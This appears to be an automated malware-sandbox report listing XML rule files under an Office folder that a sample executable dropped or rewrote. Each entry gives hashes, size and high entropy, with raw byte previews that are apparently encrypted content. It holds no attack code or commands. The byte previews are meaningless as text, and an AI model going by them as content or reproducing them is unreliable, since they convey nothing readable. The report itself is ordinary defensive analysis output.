Preview:	<?xml......U}..`.........eQ..]3...w....k..G.p.d.... [@ @....4.1.\........x.\|...E...4.k.8.....3\K.@^S......C9C.yx0.n(.......e...9.7#............S...!..V.........vZ.B@....v...M.......2.i..T`....aj..9.8..S..Ac\.U.o.'J.-..%^..Y.R..c8[F....qW....?..l.+_..a.3.]Y.........&~[.F..\|..Wi.N.a..q......P.a..GL}.o.....K..vK .....F.`T.>...7.i"..}.._.&.....^......!..yx.JE..mpm.#0l8.l...(...5;..T........i..X......E<.`X..#....\|.....-.R.......u...+/x...z.e...b...-Z[..Z......i....0u.YA..(.........P(..J/..2.1".+.S...._!8..y+..u8.X..":.."y>...8x....a...!.......&\2....1-.....m.x#....^W`.'#.2.:Y?......uD:(......(..^...l..+...gI5.......MK..J@ZC..t...hK"0..c.Q@H.{b...!..Dl.Y.=BG....'~J..1N.R.]..d.....\..r..e]..n....`..&<.4.i.f...v....7.O.e%.N..."..f..V..EB.\|.cH...gDv\..{.._"....#....................t3........a]....:..".4...O..6.1..!.m#::..M:U.)..-,s.......u...!.%L..2.........pp...q.......C..".R9a......s....[...s+24.#.....kTWZ....O.<d....}..5A...X.....+.w..*.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.859387061558954
Encrypted:	false
SSDEEP:	48:nC4Osx/YLGolAbVPtbQazhAbQYhYz35KJD:nCfS/YGbXbxhAUYhi35s
MD5:	938DBFDCC079C6A7B3E9A03DB2B1E905
SHA1:	BDE3D6BBB7DE4FB35127C2409F0BDF234631744F
SHA-256:	21C07B13FD93AB36B22676EA47F7404BA1D7B9D9AD8A363D48C49836E67619FB
SHA-512:	E0D1B4D4AE1B451D28D24CCCB93BC1BF7E7C3096ED6645F7F394DD32EDA0B3F515EB105B95D2A3BBD78C617B24A6F8CDC0CF4C8A6C5877BC60005584DB6A08AA
Malicious:	false
Preview:	<?xml.w._-.7..M=.6.@4...9Z.B.~.......3.....a....u-s.I.'U.x.../...b..Er..F.O...X..cQT~..F..D..7....%.gL.'q._c..[O$o.td&...5@'J5...}....!."=..3.qi.p....js#.....2..&@.;..Cn...'.o>(............b.d)-.7...I...-.`q.F.....hgXi..?5e.u.$..=+^..^.,H1.<...M..N.....p.\|....X...=....j...w.9...{~<.3J..J...p.T...`...(@........z-.16th..R.a...W...-II....y....1..d......s..w.9...7.J..V..bT5DW.k.;.@.E ..\|5.@....i..9h.. 2..../.%.k.......d.tI<{..o..&....].g..gB.....-....w.....FQ...:nVe.....~.9.q..a......X.\...zd....?&........8.c....&.uYE.T..D...KK..{qwvE8.T..d.......,9....w.$...T....Q..xLS......4..$.K..'....Q..P..>...~#.4.<^d..c...7...,..,B..\|}.d.>..l...s.~..\2.n@.."._b..}#......8..4Q-.r;v<.#d`.J_.Ar..pK~..<......."...2....n..-..,!U.....lJ....R....B...9.q.4.S..C.`...r...$-.3.Z>~...z.5.E3.q.....1z!..e....`."......H,.....4...v...{.U..]....\.(...(k_O..k.......MU..ced......s.d+.z..c{..~.`.....9.Y...,....z........)....-P.&y..n..v...o. ...................

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.888184357572879
Encrypted:	false
SSDEEP:	48:cbDb8BmXs4vx8eUHLYiwGdpHNLLYQ49LXJD:cb/8YZWciwGdpHdLV4l
MD5:	1BE2F9C04CDEEC633DCA729FEFF4DE17
SHA1:	F4C2B8E36580B9F142D4ABF7E155CCA2AD35F986
SHA-256:	8A345D63F16343C8585D2CF44FC28E79F42BB446831575AB5B34CE68E1D25DE1
SHA-512:	9201152BDC693470F0317CC9A9B971BCA4F642D15C59CBCE51C8426B003955DB20FA5B4499F456C13E1696BC01B7C016BB7B607693462DA0AACC6DB2F625DE03
Malicious:	false
Preview:	<?xml.pX.xR&.?'....tY..A;.L.4w.......ojK....E..5...0.kYk.J.+.:93..~......8f..c3.._Y...vd....U&.z...?q...j.gp.)..P....T._..<]"-$..c..S@.^....).8.N....m.k... .e.z..\|Z0..........<...0.`=/@T.b.{...s.Kq.....}.661..D\...., ..s..m...F...b..t>......R.r..}...w.1I..V.9<._s.v.f...!.......,M...... ....H\|...3<.......KIFV.....17..v6...EE..X.t.o.;E..b.Q.......a0..........f..w.....+!A.l../4._.b..A...6P..tt.'.X<d...{.....HtS..6.0{.A...X.c.)G)..._..._G.r.g~..}......l.(.....\|.V.Zd.....x.!...._..n....m.\|.7.3F..c.R_...a.c.....n..v....B..n...T...f..@...+.&..(L.......G/.Wz<Y...5..........ie..Lr..a.uCR.$....A.T....?..]i..Y.=.(....I......N...h..l...1/.1..h..s....G..aGM.fA!<1s..[...{..p.a...=.....<.[...V...C.hg...-I..<k..'.9?\.bH.L......T.\|sx0..?-..Y[<F+...L.N.......;e.R.l.!.d.g}`...3...G..i,..!...Ge.D.tUM.VL..t..~#..>...Y[.../.3...9.O\|..m.7..u.I.%d.]..s^..Z.-..1..T.m.0.,..W...-...Z.k......s.i.....G5.2>$.%.\.{VR}>.k..*..+.......9.uG...e.n......d...I...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.896708485096912
Encrypted:	false
SSDEEP:	48:OhjNXQGvY56zn/m9QZV8z23skPpM6ljLiqe6xwGHmsUJD:O/QGgkzKz23skS6ljLi63Gs+
MD5:	AE5350CFB13D4E964B4DF3E8E97A71BE
SHA1:	D5EF4310CF60CFE8785DB61BB658C82E81819D8B
SHA-256:	81915666735346245C9DFDDB3A12D7B812B58B87BD15084CE1576424E82F7D9F
SHA-512:	AC5531EE640DD1A223266BAECA4EF7485E5C428D1A0A8EEDE70FC0AB2BB29B401C5D72E9FCAAA512F05B914C97F096E06EDAFBC81D1DC42AEFE0FDA93E1A6742
Malicious:	false
Preview:	<?xml.l:)q...6....N....,....\|..4...J.y_..... f>.5LJ.v.......wp_=......d....R_.:..:b..=.ABJ....$$}..M.^.;....Y>=..eh.(.C.c.90..#.H}..%.S.$..{l.c.8s..w.......p'....... ,s @...H.?.+P%z#q...,....;.H..%....mroRs9l....?$...........b...........c.B0..9... ..L.9....4y\....R..d.d...i.v..u&..7}.ha..;.........c.....LU..@LY....p.9.....H.......&+9..f(.W.J.]...z.h......mx...e...x..A.u#...D[.=G.....>_5^F.S..!....#h.3.Y......e.r.=sWVl.......(;.b..X.:2..^...Ksv..,..@..3.<....:.q."UQ..F.T3...hn...."F.....{..?........ q...4....3(..,4.E......U...v=.l....{5f.>.\|.=m.]m...ky..b#.....c...}....-.v...7...........q.{......o...q...Tc....>EY..U...2......)..l.\.5.>.I.b.K.)..&a-..k...T:..H.pt.}I..\|-...+.!T..n+P.J.NA.I.V........`.:...].PpZLc...]bX.;.G.s"K[~6.(.T].$..B...o.X..g8E..2.....{T+i.m?.n.;.uh..W....rE.1a....KDQ....F...HEO....U.-.E..z.}..xk..:.-$..~..t......a.9g....V.8.u..Og.[............I..Y*...]./.4.Y..G.....E..Ur(ZN..u....Cn~.t...,K.GQ....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.868451852398892
Encrypted:	false
SSDEEP:	48:5TEWNnk8sNAbF2caMIupdcPElytmzxPqiGOJh1rJD:mumNAxxamp+GzADYP9
MD5:	14509535FD4D83E2E7BDB838BE59953D
SHA1:	3D75CE48A6D9184B4EDD9DCD43AB353FAFCD4A83
SHA-256:	A15B06E10A0C6DDA33BC337C0A696AABCA61468EABEAAE46A3CAA5F7ECAC93CC
SHA-512:	46D4A8B7654F4B45443FA94B5BB1018F705F2F6C0D956772A117C0227C36A9BF6B14C0BD8D35190B1CD379C6093A68F631FDCC7F1186B912DD29F94F4AE80D7B
Malicious:	false
Preview:	<?xmlGt4.....5........(p..w$..^[....J.....&...N.;t.3..`..k\|..q.PS^.h.g...m[8.X..v..hE..fx%oF.r..;kP./.K?....vd.p...>.(.55..j/....$.wx..b....u.YfB7L..).w.6...Fj...4.8-..9U_UiW..H......j...Bj.n...v.\7...]7...>...V.;,...N...y .L.5h..9....f..cAj.i.Y:..B~..a.>wb.L.Z.[.. ..&.z.\.@tCU.W%.....t>..,G..!.X.Mg.Y7..h..D.!..p...@7;......!o.E....w....(g=..-4$q.N..7.....'.....V.P)$.7.."...ad..vE.7.QR.2=W.H.\z.O......'..m_[K.{)1.@gw<.>........c..%lBh...q..Qf..T"...Au/2a.{Z.......]fbX.......H..{...i...).....E:..q...........N.oP.i.A .\|j...b..c.%....E.6C ..4..fE.x.,`..^.k_....e..B.({).....bQ..\..R.....=..cO..........'...<..C..C.?N0~N.c0.6Fs.._.+l.ygmD$V.. ,%.......R..\|.dD.%..._..,~.-.%....\.<;I.....*...q.T5`.\.b..Sc.o<.N]W...-....oY.swz..NMw..?.\|G~..H..?.l.W.-..C/e?H...}].x...I.jN.z..`.r...</#HDS..>.....^...+..8...G...k.hT?.3vX9.......7...ZjB"...k.o...8....Q..Bn.L1.E}....\.6........\.MB...R...&..!..H..[c(.mb..."..qs 6_.\|...R....5...D..p..XH.3.M.$..j3c.l....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.898881017696626
Encrypted:	false
SSDEEP:	48:hoPezpyhiEVpWPEOs2/t5xI5VW8mVQbEgUrLj3vSiV9uGJD:OPegiEzWP1fI5VW8mwERfrzuQ
MD5:	2B52508C3BF3FC75396450178B4C49A6
SHA1:	9955BEFFCF50148CCCD283C1C20C059AF23C91F8
SHA-256:	B62CD7262A6C1C97544C254C39A44B2692A93970DC54D98CB8901573C158D677
SHA-512:	5375C1ABCB34E29B0CC27A8C95028AD583871A1F8F1E94E9BC3304AC733E576F4893177E2ED9902CB084DEBA22F140718F6C9842BB374E5BCEAB7C0833D7B3A7
Malicious:	false
Preview:	<?xml.=n.+pO...k.&.3r]4....I......0r.].../....#...J(.d..j....\|....O7....-l...y.0.kZ....."x.....o...... JA"p..r\|k...rU'S.'...WA.....Ey/_.r...........p..[...o6.1$..E}#h<...P$.0k.R..?........@...<m....L...0s\|?....V=.....E........%.....7..>..M_s.X.I.P......SAV...o.VBi......AD...@.&.`.a...p.....bc..,...BA@].1.-5.X.1.{..}.H.C..$......#..P\.[.'V..d.e ..;h.I....Q`0..t....U..XI.:uz1F.!..@.."..v.mU.\..,.}vvo...j.!.:..V...._I}+j...?^.<. ? P..V..R.-.~...=\|.9.YWI.p.9..'..5.9.........OrE>,..4.~F.).}....~.k..8J.....D...B5.GE.D../..%.P.V...~r..K...<..3P....0.`/HYm.WX..y....9V..q.KK.r..S.W.WQ...a%.B..........`....@..q6:.2....o........?\|^.j.......hi.....+^..........m.#....}2...4..3]...Y......S.L+.Y...Y..M..5.P...Ou..W$......Q./.^}.....o6...%..~..f.6.t.....&pR..B..A....>...~.:K....N..x..M.X.=........C....#qZ.P...Gu..I...VR....#<..`..?RY.l..\|..W..kd.......P.n.X...?5........0>..T..V`)..%@M........f.Xd.t.i.K."..f<..\|...m..Q.. .Z....Y.G..v.j\|/.h."Z....(...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.897839305531174
Encrypted:	false
SSDEEP:	24:GWZ63OrzrBhysuey87a+qBa0ZviCnxpZPg2OHFVCL8dOZTpa/HJ7q15mR/s7W9pX:GI6ePbysiYapiCnx7oUZkv+g/WIJD
MD5:	4A21D1D3565ACA486CE18B60AF620594
SHA1:	02810C320B2F0C80F09D382EC92F88E4E32A38B8
SHA-256:	7D699E193BDA455B55C4B425C5FBB0A6B7D03AC6E9AC2B18ACEEFBBF9E026CBC
SHA-512:	6A7654597210804D0071D12B694BBAA870A117AAF2600675379A05CF9A5E21E01546C6FC1AF5F158541FE2C01B0CF8657BB1EB7C4764971AB2E61019A7E3E276
Malicious:	false
Preview:	<?xml...o.....!........U....z.%.l.....S..F.....<6..?.cg.h..C@*j....9V0.J...vJ.....4....G.$._..9j.1!...3...:.c.....#J...F..../.SGk;>-.......v....{Y.`T-.2..O.w.......r..A.{...O.2.e.~...N0.=..c....~......7..f._.B.....&.2...h..X.O..zr..?..F\..G;^..=]...c..&...,R.2Eu\....e~.5..s....1... .......1dN..A.9....4./......u'{......NE..MK......<..1"3.0J...>t...(.?0nG-T..c+.......8\...a.CW...1n[.AQQ(N......II....Ia,..j....k..^<]q..Y...R.bf._o....:..(.K...r..qY. ..W^t.$.:/T..aDX..T'V....A...T\.t9.$H.....y..:y....+~..9.d.-ueG..wE....z.""....\|..:t.p.O{B..`.f....`.}#S........v.6.j..k....yR...W...1j.....R...mb.U.@f..}...bZF..N.:..6].0..Zu..UZ7....y:r...B...:.3.Z....7^.\|......e.J..(Q..d@Si...;.L.L~.S.._4.mq.W'.zR.....$X..1.Q.j..?...\|C".,..LR..Z7..E.........2..I.V.<.'......#.w.s./....c8d....g......G...n`XI........0.%..w...5.8.(s...:..\|..R.'-....Y..."....=_.b.k.U.y....e....$.../L...6.:...!......x...y....1Z[...B..?........m..=@(..s..@..8....I.E..........bFL._....vw.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.881351426256316
Encrypted:	false
SSDEEP:	24:m8th2OH5aT7/e7hd9gyxje/T4et8GAqHCN57JM35UI39T6LosN3n6Wb9pbD:R78nahngyxjGNfAqG5Gp/R+356WhJD
MD5:	C4621258E25AAA07D849302ADD997930
SHA1:	AAF1BDAA8629FD64C2D548C27BCB695BA83AEAE7
SHA-256:	B2A904005DD2524567BF05F55580607E76A00C4E904FB434E93933F15DE7746D
SHA-512:	41AA836D603E4A11C15407985B9333538BA47FA64A0D89E92C52C48DF2C136FFCE98DBA9E3FBFF91199D90186D21514A0348A8911D60DFC40FA6F38A585BC5B6
Malicious:	false
Preview:	<?xml6iN.`ww.+..!.......g...t...........ZOr.7.m4......]b.[....T....KA....+%.A#$.X9dE..W.....r,...2.{%.0.."..;G)j?.5+...P..R........3.:.y\<......v.....E....#..'..Iy3b.t...#Rm...=~.yt.>8.v.4&QX.@;..[8......]......>..2.'...).{!....+.fU.\r../..$.@..../.3.Ii.L'..Hz.%. .:..4\.o/..z.HK.pt...)b'<..`..}..{..X9f......x.<`...5....v..l.:..2.vO...6u..!.. .J%Y.x..9g.-r....[9..j......~6....b5!~.}.k....l.F...-..p....U.I<..P...Yj..3.O.........x..u..i...`......K...D.."..(9Y4......B.....7".Y}.~)..-..1j.@.S.o......B......o.....J..).....ztV0......K...>.@./..3..8. .zT.....Re..:....u..l.......Nr....$;..e..H..3.........\.<)].....].G.I.QZ....Hp;..NM;V.D....j!U..e.H+.'.\.....f.~....gX`w.\.Nz..x......d.+..P(i.k....X.!.w.k.V..G.%......l....d52...X....V+.....27'.[.l.. .....#X...$].~.L)n...C.z.bm.e};]..............:..+....l#..N....`.?..EjV...p....r?.. ..i.W....pA.(Y.gP7.......,!.s0....9{-.4.u!._...O.2..[...}....#..z.&...l..7jQ..J2../<...gsI.IS.U.zs....%#..1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1770
Entropy (8bit):	7.880034711132863
Encrypted:	false
SSDEEP:	48:QapkDAC35ocj83t4z1Z3BgcmZ0FQR9onCTlafnTHfjmNJD:QapEAC2cOCz/32cmAhnCT0fTHfjO
MD5:	E01BA4E4FC945473B96AC7DF67363BD6
SHA1:	46354A5D6E8C6C3968AF7ECA0E589A29F0F502B3
SHA-256:	0D01D1ECBEE15929E38D7A6FE5174C4C441A444FBE820C5E8E512BE1CD2A2FB2
SHA-512:	377D2512CDB8F366398C0134C5CFBCBEECB500845AF9FF6235830A03DDD484C65D10F990FA6C3D4A43CFE8C0FB041F5B35D1C0AF2052B66FDDA026F8DA557F25
Malicious:	false
Preview:	<?xml-......-.p....D0.l".5........\..g.d5...cI..~..A....YL........6.!..KV....5O..Q..<.1.k.K...n..... .......!n.v..Q....+E.W1d......W....2...y............'.....t.\s.....`..Ew)..c.}u.u...J.%.'.h......J...'..).\|..>H.D1..4Z..y9.!...K..g.s..r....N...#...K:.......Y6Dy.5U....'......:.O`i$...f..UxK."..]9...k.m.R:..........Eo^.!.P.$..;...s.G..~......[.....{.>m.p...Rc.q`X..<T.\o..o.....^J....\..j......g.?.o]..e.....-....EJ!..{s,g.Z...<.....mXSI.\|..j.Q...T.....<#.Zl..C\....,...CL~...q..W...X.....q5.7..\|.../'....L)..c......"....9.....~S.M.it....7.k.hrk.T...>hO.....R.Zl..9..)I.T.p.U.n...V.........2.[.....\.Q."..5Uk.....<.t.#..E.......^..... ...Ik......-K.@....../...P^.(E3..c...m.......@.)......9.]..Kj9.\._.....3.=.u.C_.AZ....b..Gu[.....0JfA.u.... .@....&~.>..qI&...[....W.C_h...;...;8...PR....h.<.....QJ..0CTzk.'{<...[...GP..K.hH.J:)..>..j.xC.....D.<\...rsD(.\....}a5....AG.-V1.V.Z.-T#....t..+...:.a.....E..I..{.=.ZY.O+'.\|....`.<..g.....W..I.x.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.877890566796572
Encrypted:	false
SSDEEP:	48:gqNdDXu0Zb/wjH49I8slrnP5cjd8RgSmpOUvBVxsJD:HNd5lY4e8slL5cjdKgSmpOUvPxW
MD5:	C68A606E48ADE5268AE425E4B2C93447
SHA1:	FFE654C06F1ABDB5712FBEF30D97374E0723CAA6
SHA-256:	C930D05B0E3B1E9AB7566AECF856D7206A93B2938A57FE2ED67F01D1C4D571B8
SHA-512:	B57988AE5AEE7955DB85D0C59E7A06AB450AB5D52E01E6394B42EEB04FDDA862C324C13FA96CECB350DC5602B46BF22B9D2A643F3E18CB0A0920EA89F3CDE9C3
Malicious:	false
Preview:	<?xml...;\..$..K..X..Oh...s......[+.)'..[.p.]....)"..p.......A..}d=..,l4.>.b....1..b.}...7.KT..-..WL..5(...VRZ.q..8....~.$......L.Z....P&..~~@s.p....3.Z\\q...F.=....6;...i.X[+<.,...l....{...+2.s.1.....rF.-U.`..]9.sX...4..;xJ>l..".~I.Z)...@.J28..S.&T#.._..r.>,'./....y..W0Pz..C..!.S.Z\N...3.O.Y..[p...tb..O.........""[Y......Wn._......=.D.....[.....5...i..F.t....,m.qM!"v!,../m/.,...N......s...I....d....]i....xi.v.....`........-....C..^..a.2@...R..qX...,a0..[..D$\|.d.k"/.s.F.T..3.+r..5...vO.x.....vF2..r....Ckl.!.%.`..>@....S.FX@..V..:..~. ...g..<.)...i...XC..$$.{.O.m.O..t.c[....x.iaq..m..N8..Y...ON.z.\|..x9....!i./.._....zP.<.2....T...[..n.M..2.&.f..d.y.9...Jsi.]...+.D.FRQK.8m...\|..<..........".f..+.<.ix.(.M..,g[\..Q...j.^j&..GR...M.X.O.f...N.....*.%.]..E%.>.s...e..TWL.L.E.52.\..P.@........rZ$.......Q...(;Z._.k.\|...(_bh4b...x.}.N.uI.$$B........P......b.....Q....YA...]W.p..6".j. ?g..l.i...c..6..V.IU....~.B..k......wSY....?Zh.m=............A../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.8855714581363525
Encrypted:	false
SSDEEP:	24:4qmCcZ4kz+oj2PzzIuYR1LE85Q/PazD/+KlKfB8qgeNzahFvs5oB39pbD:vvcigK7PYR1L9L+uuB8q7CFvs5o/JD
MD5:	3CC8540BE53A90EF6ACA3CC49BB50BF4
SHA1:	71365FB516C264968A892D74FFBF0DF522E47C9A
SHA-256:	A3D21EFDA3544C89BFA985DC0A25BB699842C9B0FCA2B07E7C2048A3918C90E8
SHA-512:	C7B92B9724575DD730A93C9FD8A14275FB51E57DD83E0D87D03239562A91B19850200ADECAB4CF6A2FC6163E87E70CF0B65ABABB2A489F0F49630D500BCB3A18
Malicious:	false
Preview:	<?xml..X....T...84....u...@.k^...!.6;.7..}.$.d.8.BW..~..a...Vi.#;....xi......P.z.R..r.1(...0.v.....;8NjcX.....3u,&....A.b.Ta.....jR...{.1.>...qh{.._..C.d.$...+..6...w..c..5SL..K...nb..g.F.jj..l.........fsh..C.." p$<..>.3...r5y"...#..."....m-.=..x.g.-LR.^_.\|d...ul.........\..O.m...Vi..?W<qV..."l...*.L...K.....-{].2;.>y[......LO.Q.?..........>......!.o.....KZ.6.}.O...!4..8...w./.."fk7..M...7....t....C.jx...2.h.?]..........N.P.\..`...!......Z.}.kS..n.w......A.\.U...%./&...J..1X..~.T..( .R9...Ow.=.gl#?.{......K%7....5....#.ND.C.C..dK...W..p.........Z..lX.z`t...........w!.{.B..{...\....;i..KS.C.s..]...O.K...N.h.".......Xg.i.Q....P.l..%p..Q....N.b..n.w7z].Dc..3....T..>#.W..[.J.$...2..jT.....p.X`.ed..t.@........Kf.....P..}.....R.....n.g..3........6...#...Ym.YIX"C.(I~.....@)..q....9...O...'.....3..<"/.. .(KA^V.s..O...A.~.5.0.w/q... ...W.....c....jP.&....`.n.A.K.....t....!......e.jy.nl..#m0.\|.........'.8..b...8>.".-.qPo.....7...7n"........].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.863201335659018
Encrypted:	false
SSDEEP:	48:WfcoGHPA3+tvrQFwIlM8ck+/ss1SQPFsBESbETJD:Wfc1IuZrQWcM8ckQ1PGbA
MD5:	1FA2B8812E96E5E86D1C3AC8C7C507F6
SHA1:	47C005BC2E1561B20D2B33902611C74C2C4FB9D6
SHA-256:	5A4C0C46AC9D639572041B5AB077E14CBC7A112E6BC13C2DA4857616C23D4CF0
SHA-512:	5ED124EBA18AB57A7F771D5129487BF1F5EE6EBEDE161898094E8277AC90D738A2751058EA2F58B7A1CBEE8C97AE9C4494E023D9A46061E40127616F2350DC2E
Malicious:	false
Preview:	<?xml..^ ...Y88.B..x........6R.K'.5R.Ng..._s.X.........j.q...W...hW'..L....c...A7F.C..b...)p".u5..0Ev.....iZ....a_...]..o....#.:.cE....0..._..\.E..V(j+..N...J..zj.C@.z..J........N.....n'c`..$...`D..S...G..u.5`..nhLP.e..25...,.H.x....F.N.q..d;.l..7.)....Nm(....X4..0....b.H8...&+.V...y...J..p....t.M..8"g...v..<A9w"q.,N...h....7\|H..u..s.Zr.M....ua..Z.aiy..,.P.G~..u=...2.RP.....tyLc..go..>....m.(.... .AJ.:(\......C.....5+..h...Py.KX...x.36..1p..(.....f{.).}...c...c.w.......Yh.....f.....0..2...;d..k..X..&...^..'.EH..g.E!kL..k...K.A#..l.......e@;.....&%<.cs.<.:...........V.Q0...e.M..{O...n.."....l.7..x....;-X.'.......0.I..H...2.@D..."....+..x..$B9`. .3kK.g..%..'_[.......o..o..S..A.....A/.hoi. <..q.....7..p.c.....'o.N.B..3+.3..2f..C.......D..<.)..G..\2.t~......}\TG...q.U.1.]K.a...\.;";ij.).;..Z[-...M..Q...T...dH...(.......Dn.O.Kf ..5."6.....G...>v.%%..b..Hs.)m...`)v......$.....@..S..%..N#.{t5....(....2.....fO..*..L..6..7.H....u4...)...Q..B...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	7.884029995591834
Encrypted:	false
SSDEEP:	48:ITRK1Gb5vy/eK2Jc1ODvb9bs030xYgWs5oTJD:HYI/eK++ODDls0kxFf5ol
MD5:	0DE39D135231539417152E4EFE4D1670
SHA1:	E2D9E480C2649A582F45756A9A478595D617B2A9
SHA-256:	ECEF4248AF4831EEC625C08F1D8EB99703D46459A7245F833539000972D1B111
SHA-512:	0B7585BCFBB7CB06DC58AAEC9D8DA7519696B7A78C9F7A1DF26E2C2850D1898F66EAACFFB7C009F570B3DEDAECDC70A5B13044842B48D975C3F9DE4DA6382C46
Malicious:	false
Preview:	<?xml..b....).I.^@......G.t...kq.....{...Yq.L...H:G.z......}H..E.L.._..Wp..2....0.o.M`.2..@"}...z.em\.8.o.4..c...Z}.K.`T.H...r/...Az...(Sr.Z...)...)......../...PxS+H.3.x..0[.}.L......m.&..N......2..X..N.L......-..."....p........k@v..n.../..V........\iN...1......%...&r5_..:.B.4gs.....g.a?MvR......W.Z=....T.0..h.o;.......J`.....O..=.}2./.ql.m-..lp...k............. .;.....4.\....K....2..W.M..H..a.k......V....B.Z.^..W...i.R.e~s.`.q...5:..H.R.....U(.kF.pk\|@.8.r{.0;T.0(..<7f..w.N.f..b.S...E....q.._..o<.,..B.uIx..9.4d.]T......%\|s..x...X....J...T....t.....'.i.j.........x..._....R.j....+....?.B..".{Ht.=... .B...-,b\.v...'~..(.O...9s.i]j..n..-...B59...>J....q.[..!.O..W.B....O.#..pA.......s....e..?.Y.Emx.....Q.8dz....?.o...........@k`.......l..0.i+...f...<.%...}.I.......C1......u.\|..w.\|.mgd.k....)zh.a.n..g..I.?r..H.lP.T..A...5...b.`.P..K.p.>&.{....Q..o..:z"Y.....\|suz.m...nR=.M.1.WV...x(....Mr$.P...C...7.....r.X..+.Iy..i7.=?.N..,..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.900567475046118
Encrypted:	false
SSDEEP:	48:yvdHeYN8UNGKAa7SBpV5rgL3foChzNSJD:AdHeTU48S3rmdhzN0
MD5:	76144A1483034772E67FA357F740C2AB
SHA1:	3AC48D2DD4AA69A17E371B7A3558193F52F7C706
SHA-256:	5BD9AFE02C14DC8D5ED3B3602CEE547A2C263D449ADAF1B59141910515801B17
SHA-512:	73665FCDBC5EA2492263F44671F57809A7574186AD3ED8C530D4A30D6C5C8E38128932F52E84294842C6F3DCC251A7C09F25B6C9ADC32B05E66F358BEE1AB1AF
Malicious:	false
Preview:	<?xml...7.3I....\`no.........A.55j.I..,...t.\|.6r...A...e(/...,..v.X..VK.<.]...hn..cGs...........?...d...Ee....w.>.....a....2...}..i...o\;...I'T)B.h..0..f........(K..'..S...4./@....b...o.Ry....V.}6.~<.?...O..ia...p/o..W....ZR..s...K.`-.\|...P..Q...f.s.....s..Q.8.3..)......3.Gf.Xv..,K...:.cI .,F.<Q...D.V..t.7.yA.1.....d.a.R..9...tz..Q.".y.d1.wF.E.G.J.._'....D......h.1D..].cf..t(...F.c/T9.!QR.@...G...O.....%.31._...Y:....Yv=..J..{...>.4...g../j.F."iL..u~........b.....f.=0.U..d.....v..Y.6.......y...6........A.\|1._.................e.t.q...a..p....w...2r.#j7...uk\g.kygd...u%>...0.g..!..h.U._L..r....k..oW...3......... X.t...$K..s...Y.$3..G..!....T.B..B......i.K.{O...]{.G.....L......[....;..s./...........@9........l.......X..L..m..5/..{..Q.6..afW'.....uHO....w..:.qbs:.Hn.......&..E9..?Q..VA.q.HL+K(M]..L...b.............[.A..Ga.H..-~..Z.8......5...s........w>a..0.W[....s..{6..V.z...`..d]...sK.Y.w..;.:....g.M.\B..\X^~..=3Py........ga.#...:.8...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	7.876678150797948
Encrypted:	false
SSDEEP:	48:YS5WRoZ14wCBBtMspkUGFgZ97cKoRHzgwtTrrJD:YS2EePLtMok2gKoRHzgwtTZ
MD5:	BC264493E2BAD7FD45CB111F3AC8AA8B
SHA1:	9B9D96363BE63C10A8E3A7D941A67A59786D0746
SHA-256:	03BB49F718E1312B3366D74A9E519E9E9AFA741546EDB4CAE2020034F5516D50
SHA-512:	CB2D9DD4AB65B2364BC9B57A3E70E1949970CD88BE7B5694BF434878F5FE2BE7A4DE5E4F57930E1C2B1167A0BD96CDF7F26B8929377FA9D9DE70AA1DCABF732A
Malicious:	false
